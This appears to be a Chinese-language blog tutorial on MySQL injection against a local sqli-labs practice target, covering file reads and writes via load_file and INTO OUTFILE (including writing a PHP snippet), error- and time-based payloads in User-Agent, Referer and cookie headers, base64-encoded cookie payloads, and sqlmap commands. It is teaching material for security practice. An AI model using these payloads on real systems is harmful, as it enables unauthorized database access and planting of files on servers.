MySQL注入读写文件、HTTP头中的SQL注入和cookie注入

MySQL注入读写文件

MySQL数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(前提是权限足够)
读取前提:

  • 1.用户权限足够高,尽量具有root权限
  • 2.secure_file_priv不为null

我们可以通过命令来查询secure_file_priv是否为null

show global variables like 'secure_file_priv'

如果为null,我们可以通过修改mysql的配置文件进行修改,在my.ini的最后一行添加

secure_file_priv=

在这里插入图片描述

读取文件内容

在MySQL中读取文件

select load_file('文件路径');
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,load_file('文件路径'),3 --+

开启MySQL文件写入

该写入是指将sql语句查询的一个结果写入一个文件中
查询是否开启

show variables like '%general%'; # 默认是关闭的

set global general\_log = on;

进行写入

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,'写入内容',3 into outfile '文件路径'--+

如:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile '文件路径'--+

能查看php的一些版本信息

利用sqlmap进行读写文件

python sqlmap.py -u "http://127.0.0.1/sqli/Less-7/?id=1" --file-read "文件路径"

HTTP头中的SQL注入

在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交 的参数都会被代码中的某些措施进行过滤

过滤掉用户直接提交的参数,但是对于HTTP头中提交的内容很有可能就没有进行过滤

但是HTTP头中的sql注入也需要http头中的内容有与数据库进行交互,不然也是无法做到注入的。

updatexml函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
HTTP User-Agent注入
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1' = '1

concat是将其中的字符串进行连接
or ‘1’='1 和 or 1=1 --+一样是对后面的单引号进行闭合的一种方式,如果目标地址对–+这种方式进行了替换,我们就可以使用or ‘1’='1这种方式来闭合引号
这里的0x7e是十六进制,代表的是符号~
因为updatexml函数的第二个参数需要的是一个Xpath格式的字符串,而我们输入的并不是Xpath格式的,这时他就会给我们反馈一个报错信息,我们通过这个进行查找在报错信息中获得我们想要的信息。

HTTP Referer注入

referer注入的话使用上面的updatexml函数来进行注入也是同样可以的
这里我们也可以使用下面语句来查看是否存在注入点

' or if(1=1,sleep(5),null)  or '1'='1

sqlmap安全测试

  • sqlmap自动搜索POST表单注入
  • sqlmap指定参数探测SQL注入
  • sqlmap referer注入把referer 改成* 或者在后面加上*
python sqlmap.py -u 'url地址' --forms --banner
python sqlmap.py -u 'url地址' --data="" --banner
python sqlmap.py -u 'url地址' --data="" --banner --level 3
python sqlmap.py -r '文件地址' --banner

cookie注入

HTTP头中的注入介绍

服务器可以利用cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传 输中的状态。cookies最经典的应用就是判断用户是否已经登录网站。

我们可以在网址console中输入document.cookie来查看网址的cookie值
在这里插入图片描述

cookie注入

代码中使用Cookie传递参数,但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。

注入的payload

Cookie: uname=admin' or 1=1 --+  (判断是否存在注入点)
Cookie: uname=admin' and updatexml(1,concat(0x7e,version(),0x7e),1) --+

sqlmap安全测试

sqlmap -r target.txt --level 3 --batch

(–batch表示对一些需要选择的进行默认选择)

cookie Base64注入

Base64介绍

base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。base64是网络上最常见的用于传输8Bit字节码的编码方式之一,base64就是一种基于64个可打印字符 来表示二进制数据的方法

将原始内容转换为二进制,从左到右依次取6位,然后在最高补两位0,形成新的内容

编码规则
  • 1.把3个字符变成4个字符
  • 2.每76个字符加一个换行符
  • 3.最后的结束符也要处理
cookie Base64注入代码分析

base64加密网址:http://tool.oschina.net/encrypt?type=3

如果报出Warning: date(): 在php.ini中设置date.timezone的值为PRC,设置好以后的为:date.timezone=PRC

使用Base64加密的注入语句,插入到Cookie对应的位置完成SQL注入漏洞的探测。

明文 " or 1=1 #

IiBvciAxPTEgIw==
sqlmap安全检测

这里使用的是sqlmap tamper脚本中的base64encode.py这个脚本

python sqlmap.py -r target.txt --level 3 --tamper base64encode.py

我们也可以在target这个文件中比如 cookie的uname=admin处加上*改为uname=admin*表示指定在这个位置进行注入。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值